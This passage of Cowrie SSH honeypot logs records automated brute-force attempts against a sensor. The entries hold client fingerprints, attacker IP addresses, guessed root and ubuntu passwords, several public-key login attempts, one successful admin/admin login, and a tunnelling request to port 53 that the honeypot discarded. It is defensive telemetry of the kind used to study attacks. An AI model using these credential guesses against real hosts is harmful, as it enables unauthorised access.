rt-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:05.716136Z","src_ip":"2.57.122.210","session":"25980d9bf7be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eigenlayer","message":"login attempt [root/eigenlayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:06.312931Z","src_ip":"2.57.122.210","session":"25980d9bf7be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:07.512200Z","src_ip":"2.57.122.210","session":"25980d9bf7be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":46390,"dst_ip":"10.17.0.5","dst_port":22,"session":"4311fa792bcb","protocol":"ssh","message":"New connection: 103.15.226.202:46390 (10.17.0.5:22) [session: 4311fa792bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:33.333369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:33.338234Z","src_ip":"103.15.226.202","session":"4311fa792bcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:33.584856Z","src_ip":"103.15.226.202","session":"4311fa792bcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:34.328212Z","src_ip":"103.15.226.202","session":"4311fa792bcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:35.580299Z","src_ip":"103.15.226.202","session":"4311fa792bcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.235.26.80","src_port":46086,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea62bb24b95a","protocol":"ssh","message":"New connection: 167.235.26.80:46086 (10.17.0.5:22) [session: ea62bb24b95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:44.959497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:44.964736Z","src_ip":"167.235.26.80","session":"ea62bb24b95a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:45.058051Z","src_ip":"167.235.26.80","session":"ea62bb24b95a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:42:ed:2b:df:cb:14:52:bf:78:a3:e2:bb:db:43:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0Be74agtlbiR42Iq4o320AXQNHDGpV47hyI8HTizbyuNWZdiFpnBCJf2bQ31kJl87JacwoidYLQ6wrMZw2DxAMzw01P3+eKZYktG99DK1h1YFkdrqW2HkiV/pzFqGpbqICqGEQTHx4pYzGJ/j8UYqfCdO/cBrGv168fs4lF6VC9m0XcHMFkO/nYkrHblfnfmnS9KS+wzzLw5UBxOGS4k8gnQqgqgDHQtpjyz2QMDaHr2gmdd2xyWODk5HFwy2CvRfKdOzaxl6UPEas/yPIwhO/Z9gVY0/tzv8R3BK0zP/jbovD78xtWJYjGXLPxVdHeizCNkBpmzkgHYXq/fW6qnjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:42:ed:2b:df:cb:14:52:bf:78:a3:e2:bb:db:43:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:45.487765Z","src_ip":"167.235.26.80","session":"ea62bb24b95a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:42:ed:2b:df:cb:14:52:bf:78:a3:e2:bb:db:43:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0Be74agtlbiR42Iq4o320AXQNHDGpV47hyI8HTizbyuNWZdiFpnBCJf2bQ31kJl87JacwoidYLQ6wrMZw2DxAMzw01P3+eKZYktG99DK1h1YFkdrqW2HkiV/pzFqGpbqICqGEQTHx4pYzGJ/j8UYqfCdO/cBrGv168fs4lF6VC9m0XcHMFkO/nYkrHblfnfmnS9KS+wzzLw5UBxOGS4k8gnQqgqgDHQtpjyz2QMDaHr2gmdd2xyWODk5HFwy2CvRfKdOzaxl6UPEas/yPIwhO/Z9gVY0/tzv8R3BK0zP/jbovD78xtWJYjGXLPxVdHeizCNkBpmzkgHYXq/fW6qnjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:45.491952Z","src_ip":"167.235.26.80","session":"ea62bb24b95a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:16:c6:3d:7b:f9:87:1a:d1:5c:db:2e:6c:e7:4c:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6//oOJ3jXOP6NxsCsrHtj/rY6yXD0Kxaqopau9wlGfEF7FIsbqNQbhlgQxJUSc0st3DOmZR1dbsJ32Fvjsp1RB5L72nj7xEQX+3Zgpz04zqDiG6e1WgvtS7ozrWR2B5CW2tXEBXRNnyt010blTmXeg3O+KOEgEu4YdiS55FEVXlyd3i0tbj4xci1yV8d0sMs4BATT/xXyfhH5yoVEHDIVTzHfzVXZmcBA+1dezHHO2tZr15mFF1jGg65ouNF8PoPSFu/wrTqkWy4h6w5Z5UYoQ73wcOclgHJaVl1YXObv4mbVFmE1q6uiI1RC/8GpSNEWkU1IGPmZd+xwCwfHIbBuQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:16:c6:3d:7b:f9:87:1a:d1:5c:db:2e:6c:e7:4c:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:45.583293Z","src_ip":"167.235.26.80","session":"ea62bb24b95a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:16:c6:3d:7b:f9:87:1a:d1:5c:db:2e:6c:e7:4c:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6//oOJ3jXOP6NxsCsrHtj/rY6yXD0Kxaqopau9wlGfEF7FIsbqNQbhlgQxJUSc0st3DOmZR1dbsJ32Fvjsp1RB5L72nj7xEQX+3Zgpz04zqDiG6e1WgvtS7ozrWR2B5CW2tXEBXRNnyt010blTmXeg3O+KOEgEu4YdiS55FEVXlyd3i0tbj4xci1yV8d0sMs4BATT/xXyfhH5yoVEHDIVTzHfzVXZmcBA+1dezHHO2tZr15mFF1jGg65ouNF8PoPSFu/wrTqkWy4h6w5Z5UYoQ73wcOclgHJaVl1YXObv4mbVFmE1q6uiI1RC/8GpSNEWkU1IGPmZd+xwCwfHIbBuQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:45.586843Z","src_ip":"167.235.26.80","session":"ea62bb24b95a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:75:22:af:30:52:cb:11:46:a2:33:ac:64:02:7b:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuADAVHBsve/PSSilPLO+KX511lcfNbOdW8ikoTQ8tgCenD/F3XAcT4FtFLtDiYewT80E5su/tLAxF7tFcur3jij0DlDeKSyDs23rRQzLj/ZFD4E27IFbleRP4le2GTNXQCpB6+lGE52ZtwTrwUrIoGFgw42g8oaMuVRg+Vo0SvskrDbbEwbaAkrjlDRr3n440BKCD3xFxbd6w6fk8TgH72mwKidqw1OuSZgbQ4JU1FePUCxgo4w2Uzm0YIl8oXNWMU4N2hg9WTx8cIfV/tR0EPdcYLz2/Q25vZAsl/gN+2gIYnelUOzOvmnAi4pSvL7Wg3/6y9KCEnmI9gLRHwyExw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:75:22:af:30:52:cb:11:46:a2:33:ac:64:02:7b:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:45.677644Z","src_ip":"167.235.26.80","session":"ea62bb24b95a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:75:22:af:30:52:cb:11:46:a2:33:ac:64:02:7b:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuADAVHBsve/PSSilPLO+KX511lcfNbOdW8ikoTQ8tgCenD/F3XAcT4FtFLtDiYewT80E5su/tLAxF7tFcur3jij0DlDeKSyDs23rRQzLj/ZFD4E27IFbleRP4le2GTNXQCpB6+lGE52ZtwTrwUrIoGFgw42g8oaMuVRg+Vo0SvskrDbbEwbaAkrjlDRr3n440BKCD3xFxbd6w6fk8TgH72mwKidqw1OuSZgbQ4JU1FePUCxgo4w2Uzm0YIl8oXNWMU4N2hg9WTx8cIfV/tR0EPdcYLz2/Q25vZAsl/gN+2gIYnelUOzOvmnAi4pSvL7Wg3/6y9KCEnmI9gLRHwyExw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:45.684929Z","src_ip":"167.235.26.80","session":"ea62bb24b95a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:77:83:31:63:f1:25:0b:33:5b:87:ae:2a:b7:44:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApqlIMu925LMtV4rkyKg+aNoFltasMhhDayXank7qKkszyFZRvzh2/9Nw4Uo5V8+dTgF2cav0cjsivUZaxFVmZXMJyFCLB+IP7CmGFCjMURto2YYIn2OY6AD/qC2F4q2k67ohuPfIsxwDk8McxXCsYCIwYiJ47gaNNhE2YpWiNNq7P0INwEb7PX1FO9OKB9t8/rgoC6Wt0mi1nEIb7ZU0lJDl2xkoj5ZrNCdHJPIzHpp3/rzbo7lSD/D+rt19TC8ES14qH3EnDswWlNwdYX9e2bChEetBpFWSG1dq0EOq7J6ZKarD4N4AM6D9zNys3bfzUFG3vSTIg0wEsYDqt9EmtQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:77:83:31:63:f1:25:0b:33:5b:87:ae:2a:b7:44:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:45.776928Z","src_ip":"167.235.26.80","session":"ea62bb24b95a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:77:83:31:63:f1:25:0b:33:5b:87:ae:2a:b7:44:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApqlIMu925LMtV4rkyKg+aNoFltasMhhDayXank7qKkszyFZRvzh2/9Nw4Uo5V8+dTgF2cav0cjsivUZaxFVmZXMJyFCLB+IP7CmGFCjMURto2YYIn2OY6AD/qC2F4q2k67ohuPfIsxwDk8McxXCsYCIwYiJ47gaNNhE2YpWiNNq7P0INwEb7PX1FO9OKB9t8/rgoC6Wt0mi1nEIb7ZU0lJDl2xkoj5ZrNCdHJPIzHpp3/rzbo7lSD/D+rt19TC8ES14qH3EnDswWlNwdYX9e2bChEetBpFWSG1dq0EOq7J6ZKarD4N4AM6D9zNys3bfzUFG3vSTIg0wEsYDqt9EmtQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:45.781554Z","src_ip":"167.235.26.80","session":"ea62bb24b95a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:3f:26:d5:1c:30:01:05:87:96:7e:82:3e:43:14:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnO0VwoY/F7XIwkgfF+O3xYZjr6yP8cpaaIZLAnhj5W1MpG1Y9cQHbMeV/bEzLYf52vApJpCpPfx2PdFulsrz6lmsRVczi09CQpW6RW7N+iJykgRlYMjApFgsDB502EAggae0D54FPpfUT6ywzI3KE04x5M4foHSrb14oWXnatEsHEd7uUrL5NN++L2GkQQA4cRnQ3w8Dx9VsA0pi+da4rWT25Js7QmFrI2Mej5gWC6dGpazqYekn/R16eoo/msUNpY9Pz+GjoDVQwTxZSbPF0S1l5wnmL17pxsvtXuP+cj++lK001jBeAqmNkBR6n9R48B2hYNsb7VRhPSdwDJREVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:3f:26:d5:1c:30:01:05:87:96:7e:82:3e:43:14:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:45.872914Z","src_ip":"167.235.26.80","session":"ea62bb24b95a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:3f:26:d5:1c:30:01:05:87:96:7e:82:3e:43:14:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnO0VwoY/F7XIwkgfF+O3xYZjr6yP8cpaaIZLAnhj5W1MpG1Y9cQHbMeV/bEzLYf52vApJpCpPfx2PdFulsrz6lmsRVczi09CQpW6RW7N+iJykgRlYMjApFgsDB502EAggae0D54FPpfUT6ywzI3KE04x5M4foHSrb14oWXnatEsHEd7uUrL5NN++L2GkQQA4cRnQ3w8Dx9VsA0pi+da4rWT25Js7QmFrI2Mej5gWC6dGpazqYekn/R16eoo/msUNpY9Pz+GjoDVQwTxZSbPF0S1l5wnmL17pxsvtXuP+cj++lK001jBeAqmNkBR6n9R48B2hYNsb7VRhPSdwDJREVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:45.876801Z","src_ip":"167.235.26.80","session":"ea62bb24b95a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:45.968045Z","src_ip":"167.235.26.80","session":"ea62bb24b95a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55290,"dst_ip":"10.17.0.5","dst_port":22,"session":"89a0d03ba5a8","protocol":"ssh","message":"New connection: 193.32.162.145:55290 (10.17.0.5:22) [session: 89a0d03ba5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:47.341973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:47.346474Z","src_ip":"193.32.162.145","session":"89a0d03ba5a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:47.452678Z","src_ip":"193.32.162.145","session":"89a0d03ba5a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"serum","message":"login attempt [ubuntu/serum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:47.793312Z","src_ip":"193.32.162.145","session":"89a0d03ba5a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:48.900881Z","src_ip":"193.32.162.145","session":"89a0d03ba5a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":17464,"dst_ip":"10.17.0.5","dst_port":22,"session":"da2deba40148","protocol":"ssh","message":"New connection: 87.251.64.176:17464 (10.17.0.5:22) [session: da2deba40148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:51.637365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:51.641585Z","src_ip":"87.251.64.176","session":"da2deba40148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:51.737810Z","src_ip":"87.251.64.176","session":"da2deba40148","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:52.025888Z","src_ip":"87.251.64.176","session":"da2deba40148","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:52.124555Z","session":"da2deba40148","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:52.223186Z","src_ip":"87.251.64.176","session":"da2deba40148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:52.457923Z","src_ip":"87.251.64.176","session":"da2deba40148","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":22129,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fbb16e37e38","protocol":"ssh","message":"New connection: 213.209.159.56:22129 (10.17.0.5:22) [session: 0fbb16e37e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:22.192428Z"}
